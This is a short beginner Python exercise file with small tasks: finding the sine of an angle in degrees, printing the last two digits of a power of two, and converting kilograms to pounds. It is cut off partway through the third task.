#task 13 import math e=float(input("Enter an engle: ")) e1=math.radians(e) s=round(math.sin(e1),4) print("Sine is: ", end="") print(s) #task 14 p=float(input("Enter a power: ")) a=2**p s=str(a)[-2:] print ("Last two digits : ", end="") print (s) #task 15 w=float(input("Enter a weight in kilograms: ")) p=round((w*2....
17.809524
47
0.628342